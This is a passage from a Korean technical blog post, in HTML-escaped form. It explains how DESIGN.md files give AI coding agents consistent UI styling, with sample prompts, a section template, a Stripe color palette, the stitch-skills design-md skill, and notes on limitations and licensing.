&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;프롬프트 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컴포넌트 생성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;DESIGN.md를 먼저 읽고, 이 디자인 시스템에 맞는 가격표(pricing table) 컴포넌트를 React로 만들어줘.&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;페이지 생성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;DESIGN.md의 Color Palette, Typography, Component Stylings 섹션을 참조해서 랜딩 페이지 히어로 섹션을 만들어줘.&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기존 코드 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;현재 버튼 컴포넌트의 스타일을 DESIGN.md의 Component Stylings 섹션에 정의된 값으로 맞춰줘.&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 프로젝트 스타일 통일&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;DESIGN.md를 읽고, src/components/ 내 모든 컴포넌트의 컬러와 폰트를 DESIGN.md 기준으로 일괄 수정해줘.&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.3 Step 3 &amp;mdash; 자체 프로젝트용 DESIGN.md 작성하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컬렉션에 원하는 사이트가 없거나, 자체 디자인 시스템을 명세해야 할 경우 직접 작성할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md README&lt;/a&gt;에서 정의한 9개 섹션을 스켈레톤으로 사용한다:&lt;/p&gt;
&lt;pre class=&quot;xml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# My Project &amp;mdash; DESIGN.md

## 1. Visual Theme &amp;amp; Atmosphere
&amp;lt;!-- 분위기, 밀도, 디자인 철학 --&amp;gt;

## 2. Color Palette &amp;amp; Roles
&amp;lt;!-- 시맨틱 이름 + hex 값 + 기능적 역할 --&amp;gt;

## 3. Typography Rules
&amp;lt;!-- 폰트 패밀리, 크기/굵기 계층 표 --&amp;gt;

## 4. Component Stylings
&amp;lt;!-- 버튼, 카드, 입력, 네비게이션 (상태별 스타일 포함) --&amp;gt;

## 5. Layout Principles
&amp;lt;!-- 간격 스케일, 그리드, 여백 철학 --&amp;gt;

## 6. Depth &amp;amp; Elevation
&amp;lt;!-- 그림자 시스템, 표면 계층 --&amp;gt;

## 7. Do's and Don'ts
&amp;lt;!-- 디자인 가드레일, 안티패턴 --&amp;gt;

## 8. Responsive Behavior
&amp;lt;!-- 브레이크포인트, 터치 타겟, 접기 전략 --&amp;gt;

## 9. Agent Prompt Guide
&amp;lt;!-- 빠른 컬러 레퍼런스, 즉시 사용 가능한 프롬프트 예시 --&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 섹션에 실제로 무엇을 쓰는지, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/stripe/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Stripe DESIGN.md 원문&lt;/a&gt;의 섹션 2(Color Palette &amp;amp; Roles)를 예로 보자:&lt;/p&gt;
&lt;pre class=&quot;autohotkey&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;## 2. Color Palette &amp;amp; Roles

**Primary:** Stripe Purple (`#533afd`), Deep Navy (`#061b31`), Pure White (`#ffffff`)
**Accents:** Ruby (`#ea2261`), Magenta (`#f96bee`)
**Interactive:** Purple Hover (`#4434d4`), Purple Deep (`#2e2b8c`)
**Neutrals:** Heading (`#061b31`), Body (`#64748d`)
**Surfaces:** Border Default (`#e5edf5`), Border Purple (`#b9b9f9`)
**Shadows:** Shadow Blue (`rgba(50,50,93,0.25)`), Shadow Black (`rgba(0,0,0,0.1)`)&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: -5px;&quot; data-ke-size=&quot;size16&quot;&gt;출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/stripe/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Stripe DESIGN.md 원문&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성 핵심 원칙:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;구체적 값&lt;/b&gt; &amp;mdash; &lt;code&gt;#533afd&lt;/code&gt;처럼 hex/rgba 값을 명시한다. &quot;파란색 계열&quot;같은 모호한 표현은 AI가 임의로 해석한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;시맨틱 이름&lt;/b&gt; &amp;mdash; Primary, Accent, Interactive 등 역할별로 분리하면 AI가 용도에 맞는 색상을 선택할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;상태 포함&lt;/b&gt; &amp;mdash; 버튼이라면 기본&amp;middot;호버&amp;middot;클릭&amp;middot;비활성 상태 각각의 스타일을 명시한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;섹션 9 활용&lt;/b&gt; &amp;mdash; Agent Prompt Guide에 에이전트가 바로 복사해서 쓸 수 있는 프롬프트 조각을 넣으면 효과적이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.4 Google Stitch 연동 &amp;mdash; stitch-skills&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTec4I/dJMcah5filQ/O6ZCyeFSA4mVWhW0XyfIik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTec4I/dJMcah5filQ/O6ZCyeFSA4mVWhW0XyfIik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTec4I/dJMcah5filQ/O6ZCyeFSA4mVWhW0XyfIik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTec4I%2FdJMcah5filQ%2FO6ZCyeFSA4mVWhW0XyfIik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;1086&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/google-labs-code/stitch-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;google-labs-code/stitch-skills&lt;/a&gt;는 Stitch MCP 서버와 연동하는 에이전트 스킬 라이브러리다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 레포지토리는 design-md 스킬을 공식으로 포함한다. 스킬 파일 상단에 명시된 허용 도구 목록은 다음과 같다:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;name: design-md
description: Analyze Stitch projects and synthesize a semantic design system into DESIGN.md files
allowed-tools:
  - &quot;stitch*:*&quot;
  - &quot;Read&quot;
  - &quot;Write&quot;
  - &quot;web_fetch&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 스킬의 목표는 DESIGN.md 파일이 Stitch가 기존 디자인 언어와 일치하는 새 화면을 생성하도록 프롬프팅하는 &quot;단일 진실의 원천(source of truth)&quot;이 되는 것이다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;The &lt;code&gt;DESIGN.md&lt;/code&gt; file will serve as the 'source of truth' for prompting Stitch to generate new screens that align perfectly with the existing design language.&quot;&lt;br /&gt;(DESIGN.md 파일은 Stitch가 기존 디자인 언어와 정확하게 일관된 새로운 화면을 생성할 수 있도록 프롬프트의 기준이 되는 &amp;lsquo;source of truth(신뢰 가능한 단일 기준)&amp;rsquo;로 활용됩니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 및 사용법은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/google-labs-code/stitch-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;stitch-skills 공식 레포지토리&lt;/a&gt;에서 확인할 수 있다. 스킬 파일(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/google-labs-code/stitch-skills/main/skills/design-md/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SKILL.md&lt;/a&gt;) 원문에 따르면, 이 스킬은 Stitch MCP 서버를 통해 프로젝트 화면을 조회하고 HTML/CSS를 분석하여 DESIGN.md를 자동 생성하는 방식으로 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.5 &quot;언제 쓰는가 / 언제 쓰지 않는가&quot; 결정 매트릭스&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD21ER/dJMcaffjKOZ/cz5qoq7iOPxR75PjoRroK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD21ER/dJMcaffjKOZ/cz5qoq7iOPxR75PjoRroK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD21ER/dJMcaffjKOZ/cz5qoq7iOPxR75PjoRroK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD21ER%2FdJMcaffjKOZ%2Fcz5qoq7iOPxR75PjoRroK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1092&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 여부&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AI 에이전트로 UI 반복 생성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;사용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;매번 다른 스타일 출력 문제를 DESIGN.md가 해결한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기존 사이트와 유사한 스타일 구현&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;사용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컬렉션에서 골라 복사하면 되므로 즉시 적용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 내 AI 기반 프론트엔드 개발 표준화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;사용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로젝트 루트 파일 하나로 팀 전체 AI 출력을 통일할 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 디자인 토큰이 정확히 필요한 경우&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컬렉션 파일은 공개 CSS에서 추출한 값이며 공식 토큰과 동일하다고 보장되지 않는다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;저작권 민감 프로젝트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;확인 필요&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT 라이선스이나, 해당 사이트의 시각적 아이덴티티 소유권은 별개다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 기술 아키텍처 분석 &amp;mdash; DESIGN.md가 LLM에 최적화된 이유&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2018&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QFqtq/dJMcahKWyL8/kLSZcKzzeUvcPE9vLe9KO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QFqtq/dJMcahKWyL8/kLSZcKzzeUvcPE9vLe9KO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QFqtq/dJMcahKWyL8/kLSZcKzzeUvcPE9vLe9KO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQFqtq%2FdJMcahKWyL8%2FkLSZcKzzeUvcPE9vLe9KO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2018&quot; height=&quot;1080&quot; data-origin-width=&quot;2018&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;mindstudio.ai 블로그는 DESIGN.md를 &quot;디자인 시스템을 위한 시스템 프롬프트(system prompt for your design system)&quot;이자 &quot;머신이 읽을 수 있는 디자인 시스템(machine-readable design system)&quot;으로 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code, Cursor, Gemini CLI 같은 AI 코딩 에이전트가 프로젝트 루트의 DESIGN.md를 컨텍스트로 직접 읽어 디자인 규칙을 반영한다. (출처: mindstudio.ai blog)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DESIGN.md가 마크다운을 채택한 이유는 명확하다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Markdown is the format LLMs read best, so there's nothing to parse or configure.&quot;&lt;br /&gt;(Markdown은 LLM(Large Language Model)이 가장 잘 읽고 이해할 수 있는 포맷이므로, 추가적인 파싱 과정이나 별도의 설정 없이 바로 사용할 수 있습니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LLM은 구조화된 JSON이나 이진 Figma 파일보다 마크다운을 더 잘 이해한다. Figma 익스포트나 JSON 스키마를 파싱하는 추가 레이어 없이, 에이전트가 파일을 그대로 컨텍스트로 읽을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/google-labs-code/stitch-skills/main/skills/design-md/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;stitch-skills design-md 스킬&lt;/a&gt;은 Stitch MCP 서버를 통해 프로젝트 화면 메타데이터를 조회하고 HTML/CSS를 파싱해 DESIGN.md를 자동 생성하는 방식으로 동작한다. Stitch가 UI를 생성할 때는 Visual Description(구체적 컬러값으로 뒷받침되는 설명)을 통해 디자인을 해석한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.1 공개 CSS 추출 값 &amp;mdash; 공식 토큰과의 오차&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;awesome-design-md의 모든 DESIGN.md 파일은 공개 웹사이트에서 추출된 CSS 값을 기반으로 한다. 레포지토리 자체가 이를 명시한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;The extracted design tokens represent publicly visible CSS values. We do not claim ownership of any site's visual identity. These documents exist to help AI agents generate consistent UI.&quot;&lt;br /&gt;(본 문서에서 추출된 디자인 토큰은 공개적으로 노출된 CSS 값을 기반으로 하며, 특정 사이트의 시각적 아이덴티티에 대한 소유권을 주장하지 않습니다. 이 문서의 목적은 AI 에이전트가 일관된 UI를 생성할 수 있도록 지원하는 데 있습니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공개 CSS에서 추출한 값이므로, 해당 사이트의 내부 디자인 토큰 시스템과 완전히 동일하다고 볼 수 없다. 브랜드 정확성이 중요한 공식 프로젝트에서는 직접 검증이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.2 유지보수 주기와 버전 드리프트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레포지토리가 2026년 3월 31일 생성된 신규 프로젝트라는 점을 고려해야 한다. 각 사이트가 디자인을 업데이트하면 DESIGN.md 파일이 구식이 될 수 있다. 커밋 이력을 보면 현재는 빠른 주기로 업데이트되고 있으나, 장기적인 유지보수 주기는 확인할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.3 저작권 및 라이선스&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레포지토리는 MIT 라이선스로 배포되며, 다음 고지가 명시되어 있다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;MIT License - see LICENSE. This repository is a curated collection of design system documents extracted from public websites. All DESIGN.md files are provided 'as is' without warranty.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추출된 디자인 토큰은 공개 가시 CSS 값을 나타내며, 해당 사이트의 시각적 아이덴티티 소유권을 주장하지 않는다는 점을 레포지토리가 명시한다. 상업적 프로젝트에서 사용 시 해당 브랜드의 가이드라인을 별도로 확인하는 것이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 id=&quot;section10&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 &amp;mdash; LLM 시대 디자인 시스템 표준화 방향&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 플레이북&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPhMIR/dJMb990sLnZ/D7K1mnZqr29cADAg1eKNwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPhMIR/dJMb990sLnZ/D7K1mnZqr29cADAg1eKNwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPhMIR/dJMb990sLnZ/D7K1mnZqr29cADAg1eKNwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPhMIR%2FdJMb990sLnZ%2FD7K1mnZqr29cADAg1eKNwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1112&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;DESIGN.md는 AI 에이전트 기반 UI 개발에서 발생하는 &quot;디자인 일관성 부재&quot; 문제에 대한 마크다운 레이어 해결책이다. 구조는 단순하지만, 9개 섹션이 담는 정보 밀도는 높다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md&lt;/a&gt; 레포지토리에서 원하는 브랜드를 골라 &lt;code&gt;npx getdesign@latest add {브랜드명}&lt;/code&gt;으로 프로젝트 루트에 DESIGN.md를 설치한다. AI 에이전트에게 UI 컴포넌트 생성을 요청하면서 DESIGN.md를 참조하도록 지시해 결과를 비교한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;: Stripe, Vercel, Linear 세 사이트의 DESIGN.md를 읽어보면 디자인 결정의 &quot;왜&quot;가 담겨 있다. 이것을 직접 작성하는 연습을 통해 자체 프로젝트의 DESIGN.md를 만드는 것도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영 반영&lt;/b&gt;: Google Stitch 기반 프로젝트에서는 stitch-skills의 design-md 스킬로 DESIGN.md 자동 생성을 고려한다. Claude Code, Cursor 등 AI 코딩 에이전트 환경에서는 AGENTS.md와 DESIGN.md를 함께 관리하면 에이전트가 &quot;빌드 방법&quot;과 &quot;외관&quot;을 모두 이해한 상태로 작업할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Q&amp;A --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자주 묻는 질문 (FAQ)&lt;/h3&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
